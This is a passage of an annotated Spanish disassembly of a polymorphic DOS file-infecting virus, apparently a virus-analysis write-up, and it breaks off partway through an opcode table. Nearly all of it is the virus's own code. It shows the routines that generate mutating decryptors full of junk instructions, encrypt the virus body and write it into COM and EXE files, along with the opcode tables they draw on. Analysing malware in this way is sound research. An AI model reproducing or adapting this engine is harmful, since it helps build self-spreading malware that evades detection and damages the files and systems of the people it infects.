Opcode de POPF ∩0DA6:0D23 803E790101 CMP BYTE PTR [0179],01 Ω; Mira si el archivo es un Ω; EXE ∩0DA6:0D28 74E2 JZ 0D0C Ω; Si es, salta ∩0DA6:0D2A AB STOSW Ω; Almacena AX ∩0DA6:0D2B 80C102 ADD CL,02 Ω; Suma 2 a CL ∩0DA6:0D2E C3 RET Ω; Retorna ε;;; Rutina para meter unos cuantos bytes de las tablas de opcodes que no he ε;;; llegado a comprender para qué. Si el bit 3 en [018C] está a 1, lo pone a 0 ε;;; y retorna sin realizar ninguna acción más. La dirección de inicio de la ε;;; rutina es :0D35. Ω; Aquí desde :0D3A ∩0DA6:0D2F 80368C0108 XOR BYTE PTR [018C],08 Ω; Invierte el bit 3 en la Ω; dirección [018C] ∩0DA6:0D34 C3 RET Ω; Retorna Ω; Punto de inicio de la rutina. ∩0DA6:0D35 F6068C0108 TEST BYTE PTR [018C],08 Ω; Mira si el bit 3 en [018C] Ω; está a 0 ∩0DA6:0D3A 75F3 JNZ 0D2F Ω; Si no está, salta a :0D2F ∩0DA6:0D3C 53 PUSH BX Ω; Guarda BX ∩0DA6:0D3D E8FAFB CALL 093A Ω; Obtiene un aleatorio en AX ∩0DA6:0D40 F6C401 TEST AH,01 Ω; Mira si AH es par ∩0DA6:0D43 7421 JZ 0D66 Ω; Si es, salta a :0D66 ∩0DA6:0D45 250700 AND AX,0007 Ω; Anula todos los bits en AX Ω; menos los 3 últimos ∩0DA6:0D48 8BD8 MOV BX,AX Ω; Lo mete en BX ∩0DA6:0D4A 80FB04 CMP BL,04 Ω; Mira si BL es 4 ∩0DA6:0D4D 750E JNZ 0D5D Ω; Si no es, salta a :0D5D ∩0DA6:0D4F 803E730EB0 CMP BYTE PTR [0E73],B0 Ω; Comprueba si en desencrip- Ω; tador anterior había puesto Ω; a AL como registro de clave Ω; para desencriptar (B0h es el Ω; opcode de MOV AL,**) ∩0DA6:0D54 74E7 JZ 0D3D Ω; Si es, salta y repite el pro- Ω; ceso y saca otro en BL que no Ω; sea 4 ∩0DA6:0D56 803E5F0F00 CMP BYTE PTR [0F5F],00 Ω; Comprueba si el registro de Ω; la instrucción ?? que hizo Ω; antes (MOV Reg,****) fue AX ∩0DA6:0D5B 74E0 JZ 0D3D Ω; Si era AX, salta y repite el Ω; proceso ∩0DA6:0D5D 8A876A0F MOV AL,[BX+0F6A] Ω; Coge en AL el opcode de algo Ω; que no he llegado a identifi- Ω; car ∩0DA6:0D61 AA STOSB Ω; Lo almacena ∩0DA6:0D62 FEC1 INC CL Ω; Incrementa CL ∩0DA6:0D64 5B POP BX Ω; Saca BX del stack ∩0DA6:0D65 C3 RET Ω; Retorna Ω; Aquí desde :0D43 con una pro- Ω; babilidad del 50% ∩0DA6:0D66 803E5F0F00 CMP BYTE PTR [0F5F],00 Ω; Comprueba si el byte en Ω; [0F5F] es 0 ∩0DA6:0D6B 74D0 JZ 0D3D Ω; Si es, salta y repite la ob- Ω; tención de un aleatorio para Ω; saltar aquí o no ∩0DA6:0D6D 803E5E0F00 CMP BYTE PTR [0F5E],00 Ω; Mira si el byte en [0F5E] Ω; es también 0 ∩0DA6:0D72 74C9 JZ 0D3D Ω; Si es, salta a :0D3D ∩0DA6:0D74 E8C3FB CALL 093A Ω; Obtiene en AX un aleatorio ∩0DA6:0D77 250700 AND AX,0007 Ω; Anula todos sus bits menos Ω; los tres últimos ∩0DA6:0D7A 3C05 CMP AL,05 Ω; Comprueba si es 5 ∩0DA6:0D7C 77F6 JA 0D74 Ω; Salta a :0D74 con un 25% de Ω; probabilidad. Si salta, repi- Ω; te la obtención de un alea- Ω; torio. Lo que quiere es sacar Ω; un número entre 0 y 5 en AL ∩0DA6:0D7E D0E0 SHL AL,1 Ω; Lo multiplica por 2 ∩0DA6:0D80 8BD8 MOV BX,AX Ω; Lo pone en BX ∩0DA6:0D82 8B87720F MOV AX,[BX+0F72] Ω; Obtiene en AX un par de bytes Ω; sin sentido (al menos para Ω; mí) ∩0DA6:0D86 AB STOSW Ω; Los pone ∩0DA6:0D87 80FB06 CMP BL,06 Ω; Comprueba si BL es 6 (o sea, Ω; si AL antes era 3 ∩0DA6:0D8A 7714 JA 0DA0 Ω; Si es mayor, salta ∩0DA6:0D8C E8ABFB CALL 093A Ω; Obtiene un aleatorio en AX ∩0DA6:0D8F 240F AND AL,0F Ω; Convierte AL en un número en- Ω; tre 0 y 15 ∩0DA6:0D91 AA STOSB Ω; Lo mete ∩0DA6:0D92 80C101 ADD CL,01 Ω; Suma 1 a CL ∩0DA6:0D95 80FB06 CMP BL,06 Ω; Comprueba si Bl es 6 ∩0DA6:0D98 7506 JNZ 0DA0 Ω; Si no es, salta ∩0DA6:0D9A 8AC4 MOV AL,AH Ω; Inserta un byte completamente ∩0DA6:0D9C AA STOSB Ω; aleatorio ∩0DA6:0D9D 80C101 ADD CL,01 Ω; Suma 1 a CL Ω; Aquí desde :0D8A y :0D98 ∩0DA6:0DA0 80C102 ADD CL,02 Ω; Suma 2 a CL ∩0DA6:0DA3 5B POP BX Ω; Saca BX ∩0DA6:0DA4 C3 RET Ω; Retorna ε;;;; Rutina para insertar una instrucción CMP/XOR/SUB/AND/ADD BYTE/WORD PTR ε;;;; [BP-05/-06], **** con una probabilidad del 66% ∩0DA6:0DA5 E892FB CALL 093A Ω; Obtiene un número aleatorio Ω; de "su" cadena en AX ∩0DA6:0DA8 3D5555 CMP AX,5555 Ω; Salta a :0DFB con una proba- ∩0DA6:0DAB 724E JB 0DFB Ω; bilidad de un 33% ∩0DA6:0DAD 800E8C0108 OR BYTE PTR [018C],08 Ω; Enciende el bit 3 en [018C] ∩0DA6:0DB2 E88800 CALL 0E3D Ω; Inserta una instrucción INT Ω; basura del conjunto que tiene Ω; en :0803 ∩0DA6:0DB5 E882FB CALL 093A Ω; Obtiene en AX un aleatorio ∩0DA6:0DB8 93 XCHG BX,AX Ω; Pone éste en BX ∩0DA6:0DB9 83E302 AND BX,+02 Ω; Anula todos los bits menos Ω; el bit 1. O sea, que en BX Ω; puede tener el valor 0 ó 2 ∩0DA6:0DBC 8B87610F MOV AX,[BX+0F61] Ω; Obtiene en AX la instrucción Ω; MOV BP,SP o el par PUSH SP/ Ω; /POP BP ∩0DA6:0DC0 AB STOSW Ω; Lo almacena ∩0DA6:0DC1 8B166E0E MOV DX,[0E6E] Ω; Coge en DX la dirección de Ω; inicio del virus en el archi- Ω; vo ∩0DA6:0DC5 81C26A1E ADD DX,1E6A Ω; Le suma el tamaño del virus ∩0DA6:0DC9 03D1 ADD DX,CX Ω; Le suma la cantidad de bytes Ω; de desencriptador que lleva Ω; hecho ∩0DA6:0DCB 80C102 ADD CL,02 Ω; Suma 2 a CL ∩0DA6:0DCE A808 TEST AL,08 Ω; Comprueba si el bit 3 en AL Ω; está encendido ∩0DA6:0DD0 750F JNZ 0DE1 Ω; Si está, salta a :0DE1 ∩0DA6:0DD2 B081 MOV AL,81 Ω; AL = 81h ∩0DA6:0DD4 AA STOSB Ω; Lo inserta ∩0DA6:0DD5 80C107 ADD CL,07 Ω; Suma 7 a CL ∩0DA6:0DD8 E82100 CALL 0DFC Ω; Forma una operación CMP/XOR/ Ω; /SUB/AND/ADD [BP+**], **** Ω; y modifica DX para añadirlo Ω; a esta instrucción ∩0DA6:0DDB B0FA MOV AL,FA Ω; AL = -6 ∩0DA6:0DDD AA STOSB Ω; Lo almacena, de manera que Ω; la instrucción será: Ω; ... [BP-06], **** ∩0DA6:0DDE 92 XCHG DX,AX Ω; Lo pone en AX ∩0DA6:0DDF AB STOSW Ω; Lo almacena ∩0DA6:0DE0 C3 RET Ω; Retorna Ω; Aquí desde :0DD0 ∩0DA6:0DE1 B080 MOV AL,80 Ω; AL = 80h ∩0DA6:0DE3 AA STOSB Ω; Lo almacena ∩0DA6:0DE4 80C106 ADD CL,06 Ω; Suma 6 a CL ∩0DA6:0DE7 E81200 CALL 0DFC Ω; Forma una instrucción CMP/ Ω; /XOR/SUB/AND/ADD BYTE PTR Ω; [BP+**], **** junto con el Ω; opcode 80h que ha insertado Ω; antes ∩0DA6:0DEA 80FC80 CMP AH,80 Ω; Salta a :0DF6 con una proba- ∩0DA6:0DED 7707 JA 0DF6 Ω; bilidad del 50% ∩0DA6:0DEF B0FB MOV AL,FB Ω; AL = -5 ∩0DA6:0DF1 AA STOSB Ω; Lo inserta para formar Ω; [BP-05] ∩0DA6:0DF2 8AC6 MOV AL,DH Ω; Coge DH (recordemos que es Ω; BYTE PTR) ∩0DA6:0DF4 AA STOSB Ω; Lo inserta ∩0DA6:0DF5 C3 RET Ω; Retorna Ω; Aquí desde :0DED ∩0DA6:0DF6 B0FA MOV AL,FA Ω; Inserta -6 ∩0DA6:0DF8 AA STOSB ∩0DA6:0DF9 92 XCHG DX,AX Ω; Y ahora inserta DL ∩0DA6:0DFA AA STOSB ∩0DA6:0DFB C3 RET Ω; Retorna ε;;; Rutina para formar una instrucción CMP/XOR/SUB/AND/ADD BYTE/WORD [BP+**], ε;;; **** y hacer una operación con DX ∩0DA6:0DFC E83BFB CALL 093A Ω; Obtiene un aleatorio en AX ∩0DA6:0DFF 8AD8 MOV BL,AL Ω; Pone AL en BL ∩0DA6:0E01 83E307 AND BX,+07 Ω; Anula todos los bits de BX Ω; menos los 3 inferiores ∩0DA6:0E04 80FB04 CMP BL,04 Ω; Comprueba si BL es 4 ∩0DA6:0E07 77F3 JA 0DFC Ω; Si es mayor, repite el pro- Ω; ceso ∩0DA6:0E09 8A87650F MOV AL,[BX+0F65] Ω; Lo inserta junto con el valor ∩0DA6:0E0D AA STOSB Ω; 81h para formar una instruc- Ω; ción: Ω; CMP/XOR/SUB/AND/ADD WORD PTR Ω; [BP+**], **** , Ω; o con el valor 80h para for- Ω; mar lo mismo pero BYTE PTR ∩0DA6:0E0E 80FB03 CMP BL,03 Ω; ¿BL = 3, y por tanto AND? ∩0DA6:0E11 7413 JZ 0E26 Ω; Salta si sí ∩0DA6:0E13 80FB04 CMP BL,04 Ω; ¿BL = 4, y por tanto ADD? ∩0DA6:0E16 7510 JNZ 0E28 Ω; Si no es 4, salta y acaba ∩0DA6:0E18 F645FE01 TEST BYTE PTR [DI-02],01 Ω; Comprueba si la instruc- Ω; ción anterior es par (si es, Ω; será MOV BP,SP. Si no lo es, Ω; PUSH SP / POP BP) ∩0DA6:0E1C 7505 JNZ 0E23 Ω; Si no es, salta a :0E23 ∩0DA6:0E1E F6DE NEG DH Ω; Niega DH y DL por separado ∩0DA6:0E20 F6DA NEG DL ∩0DA6:0E22 C3 RET Ω; Retorna Ω; Aquí desde :0E1C ∩0DA6:0E23 F7DA NEG DX Ω; Niega DX ∩0DA6:0E25 C3 RET Ω; Retorna Ω; Aquí si BL = 3 ∩0DA6:0E26 F7D2 NOT DX Ω; Le hace NOT a DX Ω; Aquí si BL = 0,1 ó 2 ∩0DA6:0E28 C3 RET Ω; Retorna ε;;;;;;; Rutina para insertar una instrucción JNZ ** aleatoria ∩0DA6:0E29 F6068C0108 TEST BYTE PTR [018C],08 Ω; Comprueba si el bit 3 en Ω; [018C] está a 1 ∩0DA6:0E2E 740C JZ 0E3C Ω; Si está a 0, salta y retorna ∩0DA6:0E30 E807FB CALL 093A Ω; Coge un aleatorio ∩0DA6:0E33 80E47F AND AH,7F Ω; Desactiva los 5 bits superio- Ω; res ∩0DA6:0E36 80C40A ADD AH,0A Ω; Le suma 10h a AH ∩0DA6:0E39 B075 MOV AL,75 Ω; Pone en AL el opcode de JNZ ∩0DA6:0E3B AB STOSW Ω; Almacena la instrucción ∩0DA6:0E3C C3 RET Ω; Retorna ε;;;; Rutina para insertar una instrucción INT basura ∩0DA6:0E3D 80C102 ADD CL,02 Ω; Suma 2 a CL ∩0DA6:0E40 B32A MOV BL,2A Ω; BL = 2Ah ∩0DA6:0E42 E8F5FA CALL 093A Ω; Obtiene un aleatorio en AX ∩0DA6:0E45 02C3 ADD AL,BL Ω; Suma a AL ese número ∩0DA6:0E47 73FC JNB 0E45 Ω; Suma hasta que hay rebosa- Ω; miento ∩0DA6:0E49 25FE00 AND AX,00FE Ω; Hace par el número obtenido ∩0DA6:0E4C 93 XCHG BX,AX Ω; Lo pone en BX ∩0DA6:0E4D 8B870308 MOV AX,[BX+0803] Ω; Obtiene una instrucción INT Ω; basura ∩0DA6:0E51 AB STOSW Ω; La inserta ∩0DA6:0E52 C3 RET Ω; Retorna ε;;;; Rutina para escribir una determinada cantidad de bytes en 1E86 (que son ε;;;; los bytes que acaba de encriptar) al archivo controlado por el handle en ε;;;; BX ∩0DA6:0E53 50 PUSH AX Ω; Guarda AX ∩0DA6:0E54 833E6C0E00 CMP WORD PTR [0E6C],+00 Ω; Mira si el valor en Ω; [0E6C] no es 0 ∩0DA6:0E59 B90002 MOV CX,0200 Ω; Pone el valor 512 en CX... ∩0DA6:0E5C 7502 JNZ 0E60 Ω; ... y si no es 0, salta a lo Ω; siguiente ∩0DA6:0E5E 8BCA MOV CX,DX Ω; En CX ∩0DA6:0E60 BA861E MOV DX,1E86 Ω; DX = offset de inicio de los Ω; datos que acaba de preparar ∩0DA6:0E63 8BFA MOV DI,DX Ω; DI = 1E86 ∩0DA6:0E65 B440 MOV AH,40 Ω; Función de escritura ∩0DA6:0E67 E85BF4 CALL 02C5 Ω; Interrupción 21h ∩0DA6:0E6A 58 POP AX Ω; Saca AX ∩0DA6:0E6B C3 RET Ω; Retorna ∩0DA6:0E6C 0000 DB 00,00 Ω; Word donde almacena el tamaño de Ω; virus que aún le queda por encrip- Ω; tar y escribir en archivo en el Ω; LOOP de la función que empieza en Ω; :0992. Ω; Cuando se instala por BOOT, aquí Ω; pone un contador que utilizará en Ω; la int 1Ch para repetir 2 veces Ω; el proceso de obtención de la int Ω; 21h cuando comprueba si el DOS ya Ω; está instalado. ∩0DA6:0E6E 0000 DB 00,00 Ω; Aquí mete el offset de inicio del Ω; virus en el archivo ε;;;;; Desencriptador que polimorfeará y añadirá al virus. Después, encriptará ε;;;;; el virus con la clave de encriptado que tenga en :0E74 ∩0DA6:0E70 BF701E MOV DI,1E70 Ω; Registro puesto en :0F0F ∩0DA6:0E73 B16C MOV CL,6C Ω; El valor que se le carga a *L/*H es Ω; puesto en :09CE Ω; Este registro puede ser AH, AL, BH, Ω; BL, CH, CL, DH o DL según :0ED8 ∩0DA6:0E75 BE0C00 MOV SI,0000 Ω; Modificado en :0E89 para formar Ω; MOV BX/DI/SI, ****. En :09A9, el Ω; valor **** es puesto, y éste es el Ω; offset inicial del virus en el ar- Ω; chivo que está infectando ∩0DA6:0E78 56 PUSH SI Ω; Modificado en :0E91 para que sea Ω; PUSH BX/DI/SI ∩0DA6:0E79 2E CS: Ω; Modificado en :0F48. Será CS: si el Ω; archivo es EXE, y CS:/DS:/ES:/SS: si Ω; el archivo es un COM ∩0DA6:0E7A 280C SUB [SI],CL Ω; Modificado según :0EE8 y :09C2 para Ω; dar una amplia gama de instruccio- Ω; nes: 72 diferentes ∩0DA6:0E7C 46 INC SI Ω; Modificado en :0EAB para formar Ω; INC BX/DI/SI o DEC/BX/DI/SI, según Ω; un aleatorio que ha sacado ∩0DA6:0E7D 4F DEC DI Ω; Modificado en :0F17 ∩0DA6:0E7E 7FF9 JG 0E79 Ω; Modificado en :0F27 ∩0DA6:0E80 C3 RET ε;;;; Rutina para polimorfear el desencriptador que hay a partir de :0E70. Hay ε;;;; una cosa en ella que no entiendo, y es que tiene código para que, en la ε;;;; instrucción que hay en :0E7C, ponga INC o DEC, según calcule. Lo que pasa ε;;;; es que poner un DEC sería desastroso, porque no tiene las instrucciones ε;;;; para sumarle al valor que pone en :0E70 el tamaño del virus, que sería lo ε;;;; correcto si hace DEC para que empezara desde el final. Si por sus aleato- ε;;;; rios llegara a poner un DEC, acabaría encriptando el propio desencripta- ε;;;; dor y colgaría el programa al ejecutarlo ∩0DA6:0E81 53 PUSH BX Ω; Guarda el handle ∩0DA6:0E82 E831FA CALL 08B6 Ω; Obtiene en BL un número en- Ω; tre 0 y 2 de la cadena de Ω; aleatorios del virus ∩0DA6:0E85 8AA77E0F MOV AH,[BX+0F7E] Ω; Obtiene en AH el opcode de Ω; una de las instrucciones Ω; MOV BX/DI/SI, **** ∩0DA6:0E89 8826750E MOV [0E75],AH Ω; Lo mete en [0E75] y modifica Ω; la instrucción que haya allí ∩0DA6:0E8D 8AA7810F MOV AH,[BX+0F81] Ω; Coge el opcode de la instruc- Ω; ción PUSH BX/DI/SI ∩0DA6:0E91 8826780E MOV [0E78],AH Ω; Lo mete en [0E78] ∩0DA6:0E95 E8A2FA CALL 093A Ω; Obtiene en AX un número alea- Ω; torio de la Cadena (con ma- Ω; yúscula :) ∩0DA6:0E98 88265C0F MOV [0F5C],AH Ω; Mete AH en [0F5C] ∩0DA6:0E9C 80FC80 CMP AH,80 Ω; Comprueba si AH es 80 ∩0DA6:0E9F 7706 JA 0EA7 Ω; Si es mayor, salta ∩0DA6:0EA1 8AA7870F MOV AH,[BX+0F87] Ω; Obtiene en AH el opcode de Ω; DEC BX/DI/SI ∩0DA6:0EA5 EB04 JMP 0EAB Ω; Salta y continúa ∩0DA6:0EA7 8AA7840F MOV AH,[BX+0F84] Ω; Obtiene en AH el opcode de Ω; INC BX/DI/SI ∩0DA6:0EAB 88267C0E MOV [0E7C],AH Ω; Lo mete en [0E7C] ∩0DA6:0EAF 8AD3 MOV DL,BL Ω; Pone el valor de BL en DL ∩0DA6:0EB1 80C303 ADD BL,03 Ω; Suma 3 a BL ∩0DA6:0EB4 80FB03 CMP BL,03 Ω; Comprueba si BL es 3 (con lo Ω; que el valor de BL antes de Ω; la suma era 0) ∩0DA6:0EB7 7503 JNZ 0EBC Ω; Si no es, salta ∩0DA6:0EB9 80EB02 SUB BL,02 Ω; Le resta 2 y entonces BL = 1 ∩0DA6:0EBC 881E5D0F MOV [0F5D],BL Ω; Aquí llegará con los valores Ω; posibles de BL 1, 4 o 5. Me- Ω; te este valor en [0F5D]. ∩0DA6:0EC0 E877FA CALL 093A Ω; Obtiene en AX un aleatorio Ω; de la cadena de aleatorios ∩0DA6:0EC3 F7D0 NOT AX Ω; NOTea AX ∩0DA6:0EC5 2407 AND AL,07 Ω; Anula los 5 bits superiores Ω; de AL ∩0DA6:0EC7 8AD8 MOV BL,AL Ω; Lo mete en BL ∩0DA6:0EC9 D0E8 SHR AL,1 Ω; Desplaza los bits de AL una Ω; posición hacia la derecha Ω; (que es como si dividiera AL Ω; entre 2), de manera que ahora Ω; puede tener los valores 0, 1 Ω; o 2 ∩0DA6:0ECB 38065D0F CMP [0F5D],AL Ω; Comprueba si es el mismo nú- Ω; mero que guardó en [0F5D], Ω; y sólo pueden coincidir si Ω; ambos son 1 ∩0DA6:0ECF 74EF JZ 0EC0 Ω; Si AL es 1 y ese número tam- Ω; bién, salta y repite la toma Ω; de un aleatorio ∩0DA6:0ED1 A25E0F MOV [0F5E],AL Ω; Guarda AL en [0F5E] ∩0DA6:0ED4 8AA7A60F MOV AH,[BX+0FA6] Ω; Toma en AH (que tiene 8 valo- Ω; res distintos) el opcode de Ω; la instrucción: Ω; MOV AL/AH/BL/BH/CL/CH/DL/DH,** ∩0DA6:0ED8 8826730E MOV [0E73],AH Ω; La pone en el desencriptador ∩0DA6:0EDC D0E2 SHL DL,1 Ω; Multiplica DL por 8. DL tenía ∩0DA6:0EDE D0E2 SHL DL,1 Ω; el valor 0, 1 ó 2 ∩0DA6:0EE0 D0E2 SHL DL,1 ∩0DA6:0EE2 02DA ADD BL,DL Ω; Suma a BL el valor obtenido Ω; en DL. BL varía ahora entre Ω; 0 y 23 ∩0DA6:0EE4 8AA7AE0F MOV AH,[BX+0FAE] Ω; Obtiene en AH el segundo va- Ω; lor de opcode de la instruc- Ω; ción: Ω; XOR/SUB/ADD [BX/DI/SI],AL/AH/ Ω; BL/BH/CL/CH/DL/DH. Ω; La tabla para sacar esto ya Ω; está preparada para que se- Ω; gún los valores que se hayan Ω; sacado antes para la elección Ω; de los registros, ahora se Ω; forme la instrucción correc- Ω; ta. ∩0DA6:0EE8 88267B0E MOV [0E7B],AH Ω; Lo mete en el desencriptador Ω; que está formando y forma la Ω; instrucción completa ∩0DA6:0EEC E84BFA CALL 093A Ω; Obtiene en AX un aleatorio Ω; de la cadena del virus ∩0DA6:0EEF F7D0 NOT AX Ω; Le hace NOT (invierte cada Ω; uno de sus bytes) ∩0DA6:0EF1 8AD8 MOV BL,AL Ω; Pone AL en BL ∩0DA6:0EF3 80E307 AND BL,07 Ω; Reduce BL a un número entre Ω; 0 y 7 ∩0DA6:0EF6 80FB06 CMP BL,06 Ω; Si BL es 7... ∩0DA6:0EF9 77F1 JA 0EEC Ω; ...salta y coge otro aleato- Ω; rio, y hace LOOP hasta que Ω; el valor en BL sea < 7 ∩0DA6:0EFB 381E5D0F CMP [0F5D],BL Ω; Comprueba si es el mismo nú- Ω; mero que el que hay en [0F5D] ∩0DA6:0EFF 74EB JZ 0EEC Ω; Si es, salta y obtiene otro Ω; número ∩0DA6:0F01 381E5E0F CMP [0F5E],BL Ω; Comprueba si es el número que Ω; hay en [0F5E] ∩0DA6:0F05 74E5 JZ 0EEC Ω; Si es el mismo, salta y ob- Ω; tiene otro ∩0DA6:0F07 881E5F0F MOV [0F5F],BL Ω; Guarda el número obtenido ∩0DA6:0F0B 8AA78A0F MOV AH,[BX+0F8A] Ω; Coge en AH el opcode de la Ω; instrucción MOV RegX, **** ∩0DA6:0F0F 8826700E MOV [0E70],AH Ω; Lo mete en :0E70 ∩0DA6:0F13 8AA7910F MOV AH,[BX+0F91] Ω; Coge en AH el código de la Ω; instrucción Ω; DEC AX/BX/CX/DX/DI/SI/BP ∩0DA6:0F17 88267D0E MOV [0E7D],AH Ω; Lo mete en [0E7D] ∩0DA6:0F1B E81CFA CALL 093A Ω; Obtiene en AX un aleatorio ∩0DA6:0F1E 2407 AND AL,07 Ω; Lo reduce a un número entre Ω; 0 y 7 ∩0DA6:0F20 98 CBW Ω; AH = 0 ∩0DA6:0F21 8BD8 MOV BX,AX Ω; BX = AX ∩0DA6:0F23 8AA7C60F MOV AH,[BX+0FC6] Ω; En AH, el opcode de la ins- Ω; trucción Ω; JNZ/JNS/JG/JGE/JA/JNB/JB/JBE ∩0DA6:0F27 88267E0E MOV [0E7E],AH Ω; Lo mete en [0E7E] ∩0DA6:0F2B 881E600F MOV [0F60],BL Ω; Guarda BL en [0F60] ∩0DA6:0F2F E808FA CALL 093A Ω; Obtiene en AX un aleatorio ∩0DA6:0F32 F7D0 NOT AX Ω; Le hace NOT ∩0DA6:0F34 33DB XOR BX,BX Ω; BX = 0 ∩0DA6:0F36 8AD8 MOV BL,AL Ω; BL = AL = ?? ∩0DA6:0F38 80E303 AND BL,03 Ω; Reduce BL a un número entre Ω; 0 y 3 ∩0DA6:0F3B A07901 MOV AL,[0179] Ω; Coge en AL si es COM o EXE Ω; (0 para COM, 1 para EXE) ∩0DA6:0F3E 0AC0 OR AL,AL Ω; Mira si AL es 0 ∩0DA6:0F40 7402 JZ 0F44 Ω; Si es, salta ∩0DA6:0F42 8AD8 MOV BL,AL Ω; Si es EXE, BL = 01 ∩0DA6:0F44 8AA7CE0F MOV AH,[BX+0FCE] Ω; Ahora coge en AH el opcode Ω; de la instrucción Ω; DS:/CS:/ES:/SS:. Si es EXE, Ω; el único que es seguro que Ω; contendrá al segmento a la Ω; hora de desencriptar es CS, Ω; y en un COM serán todos Ω; ellos, y por tanto si es EXE Ω; sólo cogerá CS: ∩0DA6:0F48 8826790E MOV [0E79],AH Ω; Pone esto en [0E79] ∩0DA6:0F4C A05C0F MOV AL,[0F5C] Ω; Coge el valor de [0F5C], que Ω; era un byte que si era mayor Ω; que 80h indicaba INC BX/DI/SI Ω; y si era menor, DEC "/"/". ∩0DA6:0F4F 2407 AND AL,07 Ω; Anula los 5 bits superiores ∩0DA6:0F51 98 CBW Ω; AH = 0, siempre ∩0DA6:0F52 40 INC AX Ω; Incrementa AX ∩0DA6:0F53 056A1E ADD AX,1E6A Ω; Suma a AX el tamaño del vi- Ω; rus ∩0DA6:0F56 A3710E MOV [0E71],AX Ω; Lo pone en [0E71] ∩0DA6:0F59 5B POP BX Ω; Recupera el handle del archi- Ω; vo en BX ∩0DA6:0F5A C3 RET Ω; Retorna ε;;; Zona de variables donde va guardando datos para no perderlos ∩0DA6:0F5B 00 DB 00 ∩0DA6:0F5C C5 DB C5,05,02,04,02 ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;;;;;; TABLAS DE OPCODES PARA LAS RUTINAS DE POLIMORFIA ;;;;;;;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:0F61 8BEC DB 8B,EC Ω; MOV BP,SP ∩0DA6:0F63 545D DB 54,5D Ω; PUSH SP / POP BP 81h + XXh = ∩0DA6:0F65 7E DB 7E Ω; CMP WORD PTR [BP+**],**** ∩0DA6:0F66 76 DB 76 Ω; XOR WORD PTR [BP+**],**** ∩0DA6:0F67 6E DB 6E Ω; SUB WORD PTR [BP+**],**** ∩0DA6:0F68 66 DB 66 Ω; AND WORD PTR [BP+**],**** ∩0DA6:0F69 46 DB 46 Ω; ADD WORD PTR [BP+**],**** ∩0DA6:0F6A 64 DB 64 Ω; FS: ∩0DA6:0F6B 65 DB 65 Ω; GS: ∩0DA6:0F6C 67 DB 67 Ω; Según bytes posteriores ∩0DA6:0F6D 9B DB 9B Ω; WAIT ∩0DA6:0F6E D6 DB D6 Ω; ?? ∩0DA6:0F6F 9B DB 9B Ω; WAIT ∩0DA6:0F70 64 DB 64 Ω; FS: ∩0DA6:0F71 65 DB 65 Ω; GS: ∩0DA6:0F72 C0F0 DB C0,F0 ∩0DA6:0F74 C1F0 DB C1,F0 ∩0DA6:0F76 F6C8 DB F6,C8 ∩0DA6:0F78 F7C8 DB F7,C8 ∩0DA6:0F7A D0F0 DB D0,F0 ∩0DA6:0F7C D1F0 DB D1,F0 ∩0DA6:0F7E BB DB BB Ω; MOV BX, **** ∩0DA6:0F7F BF DB BF Ω; MOV DI, **** ∩0DA6:0F80 BE DB BE Ω; MOV SI, **** ∩0DA6:0F81 53 DB 53 Ω; PUSH BX ∩0DA6:0F82 57 DB 57 Ω; PUSH DI ∩0DA6:0F83 56 DB 56 Ω; PUSH SI ∩0DA6:0F84 43 DB 43 Ω; INC BX ∩0DA6:0F85 47 DB 47 Ω; INC DI ∩0DA6:0F86 46 DB 46 Ω; INC SI ∩0DA6:0F87 4B DB 4B Ω; DEC BX ∩0DA6:0F88 4F DB 4F Ω; DEC DI ∩0DA6:0F89 4E DB 4E Ω; DEC SI ∩0DA6:0F8A B8 DB B8 Ω; MOV AX, **** ∩0DA6:0F8B BB DB BB Ω; MOV BX, **** ∩0DA6:0F8C B9 DB B9 Ω; MOV CX, **** ∩0DA6:0F8D BA DB BA Ω; MOV DX, **** ∩0DA6:0F8E BF DB BF Ω; MOV DI, **** ∩0DA6:0F8F BE DB BE Ω; MOV SI, **** ∩0DA6:0F90 BD DB BD Ω; MOV BP, **** ∩0DA6:0F91 48 DB 48 Ω; DEC AX ∩0DA6:0F92 4B DB 4B Ω; DEC BX ∩0DA6:0F93 49 DB 49 Ω; DEC CX ∩0DA6:0F94 4A DB 4A Ω; DEC DX ∩0DA6:0F95 4F DB 4F Ω; DEC DI ∩0DA6:0F96 4E DB 4E Ω; DEC SI ∩0DA6:0F97 4D DB 4D Ω; DEC BP 81h + XXh = 83h + XXh = ∩0DA6:0F98 E8 DB E8 Ω; SUB AX, **** SUB AX,+/-** ∩0DA6:0F99 EB DB EB Ω; SUB BX, **** SUB BX,+/-** ∩0DA6:0F9A E9 DB E9 Ω; SUB CX, **** SUB CX,+/-** ∩0DA6:0F9B EA DB EA Ω; SUB DX, **** SUB DX,+/-** ∩0DA6:0F9C EF DB EF Ω; SUB DI, **** SUB DI,+/-** ∩0DA6:0F9D EE DB EE Ω; SUB SI, **** SUB SI,+/-** ∩0DA6:0F9E ED DB ED Ω; SUB BP, **** SUB BP,+/-** 81h + XXh = 83h + XXh = ∩0DA6:0F9F C0 DB C0 Ω; ADD AX, **** ADD AX,+/-** ∩0DA6:0FA0 C3 DB C3 Ω; ADD BX, **** ADD BX,+/-** ∩0DA6:0FA1 C1 DB C1 Ω; ADD CX, **** ADD CX,+/-** ∩0DA6:0FA2 C2 DB C2 Ω; ADD DX, **** ADD DX,+/-** ∩0DA6:0FA3 C7 DB C7 Ω; ADD DI, **** ADD DI,+/-** ∩0DA6:0FA4 C6 DB C6 Ω; ADD SI, **** ADD SI,+/-** ∩0DA6:0FA5 C5 DB C5 Ω; ADD BP, **** ADD BP,+/-** ∩0DA6:0FA6 B0 DB B0 Ω; MOV AL, ** ∩0DA6:0FA7 B4 DB B4 Ω; MOV AH, ** ∩0DA6:0FA8 B3 DB B3 Ω; MOV BL, ** ∩0DA6:0FA9 B7 DB B7 Ω; MOV BH, ** ∩0DA6:0FAA B1 DB B1 Ω; MOV CL, ** ∩0DA6:0FAB B5 DB B5 Ω; MOV CH, ** ∩0DA6:0FAC B2 DB B2 Ω; MOV DL, ** ∩0DA6:0FAD B6 DB B6 Ω; MOV DH, ** Ω; Esta tabla es de valores que junto Ω; con los valores de opcode 30, 00 y Ω; 28 (XOR, ADD y SUB) forman una ins- Ω; trucción completa ∩0DA6:0FAE 07 DB 07 Ω; ... [BX], AL ∩0DA6:0FAF 27 DB 27 Ω; ... [BX], AH ∩0DA6:0FB0 00 DB 00 Ω; ... [BX], BL ∩0DA6:0FB1 00 DB 00 Ω; ... [BX], 